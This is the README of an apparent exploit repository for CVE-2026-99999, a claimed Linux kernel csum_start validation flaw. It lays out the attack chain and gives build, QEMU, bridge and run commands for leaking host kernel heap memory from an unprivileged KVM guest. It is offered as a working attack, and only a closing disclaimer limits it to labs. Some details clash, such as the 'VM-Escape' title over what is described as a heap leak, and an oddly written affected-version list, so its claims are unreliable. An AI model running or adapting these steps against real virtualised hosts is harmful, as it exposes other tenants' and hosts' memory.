
CVE-2026-99999 funktionierender PoC — echte VM-Escape für den Linux-Kernel-csum_start-Bug (CVSS 9.3). Guest-to-Host-Heap-Leak. Siehe auch: CVE-2026-99999-analysis (Educational).
⚠️ Dies ist ein funktionierendes Exploit-Repository. Es enthält echten Exploit-Code, der die Schwachstelle CVE-2026-99999 in einer laufenden KVM/QEMU-Umgebung auslöst.
📚 Für eine sichere, rein lokale Simulation derselben Angriffskette siehe CVE-2026-99999-analysis (kein Root, kein Netzwerk, reines Python — ideal, um den Fehler ohne Labor zu verstehen).
CVE-2026-99999 — Validierungsfehler bei der IPv4-csum_start-Prüfung im Linux-Kernel im GSO-Segmentierungspfad. Eine Gast-VM kann bei jedem ausgehenden Paketfragment ca. 32–64 Bytes Heap-Speicher des Host-Kernels preisgeben.
CVSS 9.3 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Betroffene Kernel: Alle vor den Fix-Commits:
5.10.272+, 5.15.223+, 6.1.190+, 6.12.113+, 6.18.57+, 7.2.11+Angreifermodell: Unprivilegierter Code innerhalb einer KVM-Gast-VM.
.
├── README.md ← This file
├── guest/
│ ├── exploit_guest.c ← Exploit (guest side)
│ ├── Makefile
│ └── README.md
└── host/
├── receive_and_dump.py ← Leak detector (host side)
└── setup_bridge.sh ← TAP bridge setup (host side)
1. GUEST: build_crafted_packet()
└── [virtio_net_hdr(csum_start=0)] + [Eth] + [IP] + [UDP] + [payload]
↑
csum_start=0 → points at IP header, NOT transport header
2. GUEST → QEMU (vhost-user)
└── Guest enqueues packet via TX virtqueue
└── QEMU reads descriptor → pulls malicious frame
3. HOST KERNEL: GSO segmentation path
└── skb_checksum_help() reads csum_start (0) and csum_offset (0)
└── Writes checksum result to byte 0 = IHL byte
4. HOST KERNEL: IHL corruption
└── IHL: 0x45 (IHL=5, 20 bytes) → 0x4F (IHL=15, 60 bytes)
5. HOST KERNEL: ip_do_fragment() OOB read
└── Reads 60 bytes of "IP header" when only 20 bytes exist
└── Bytes 20-60 are adjacent host-kernel heap memory!
6. HOST: Outbound fragment
└── Each fragment contains ~32-64 bytes of host-kernel heap memory
└── Captured by receive_and_dump.py on the host bridge
# vhost-user mode (default — full vhost-user protocol implementation)
gcc -Wall -Wextra -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
# TAP bypass mode (no vhost-user socket needed)
gcc -Wall -Wextra -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
# Leak detector
pip3 install scapy
python3 host/receive_and_dump.py --help
Erfordert:
-netdev vhost-user,...memfd oder tmpfs geteilt# On the host — start QEMU with vhost-user (socket on shared filesystem)
qemu-system-x86_64 \
-m 2G -smp 2 \
-hda /path/to/guest.img \
-netdev vhost-user,id=net0,chardev=char0 \
-device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56 \
-chardev socket,id=char0,path=/tmp/vhost.sock,server=on,wait=off \
-enable-kvm \
-nographic
# On the host — start the leak detector
sudo python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose
# In the guest
sudo ./exploit_guest --socket /tmp/vhost.sock -n 20 -v
Erfordert:
CAP_NET_RAW im Gastbridge-nf-call-iptables=1 auf dem Host (für den GSO-Pfad)# On the host
sudo ip link add br0 type bridge
sudo ip link set br0 up
sudo ip addr add 10.0.0.1/24 dev br0
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose
# In the guest
gcc -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
sudo ./exploit_guest --tap tap0 -n 20 -v
Der Exploit erfordert, dass QEMU den TX-virtqueue-Speicher des Gasts lesen kann. Ohne gemeinsam genutzten Speicher kann QEMU die Deskriptoren nicht lesen — die Pakete werden eingereiht, aber nie übertragen.
Verwenden Sie zum Testen eine der folgenden Optionen:
# Option 1: memfd (QEMU ≥ 4.2, Linux ≥ 3.17)
# Pass -object memory-backend-memfd,id=mem0,share=on to QEMU
# Option 2: tmpfs
mkdir -p /mnt/guest-shared
mount -t tmpfs -o size=64M tmpfs /mnt/guest-shared
# Point SET_MEM_TABLE at this region
# Option 3: hugetlbfs
mount -t hugetlbfs -o pagesize=2M hugetlbfs /mnt/hugepages
# Use hugetlbfs region in SET_MEM_TABLE
Der CVE-Trigger erfordert, dass der Host-Kernel den Frame durch den GSO-Segmentierungspfad verarbeitet. Dies geschieht, wenn:
IP_MF (More Fragments) gesetzt hat — wodurch Fragmentierung erzwungen wirdDer Exploit setzt IP_MF in jedem Paket, um die GSO-Segmentierung sicherzustellen.
Der hostseitige Detektor (receive_and_dump.py) identifiziert CVE-2026-99999 durch:
version_ihl & 0x0F > 5)guest/exploit_guest.c ← Full vhost-user implementation (handshake + virtqueue + packet TX)
host/receive_and_dump.py ← Packet capture + leak detection on host
host/setup_bridge.sh ← TAP bridge setup helper script
vhost-user läuft und der Socket existiertls -la /tmp/vhost.sock-device virtio-net-pci,netdev=net0,csum=off,host_csum=off — aktivieren, nicht deaktivierenuname -rIP_MF-Flag bei ausgehenden Paketen gesetzt wirdsudosudo für Paket-Capture und TAP-EinrichtungNUR für autorisiertes Sicherheitsforschung in isolierten Laborumgebungen. Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine schriftliche Testgenehmigung besitzen, ist illegal. Die Autoren übernehmen keine Haftung für Missbrauch.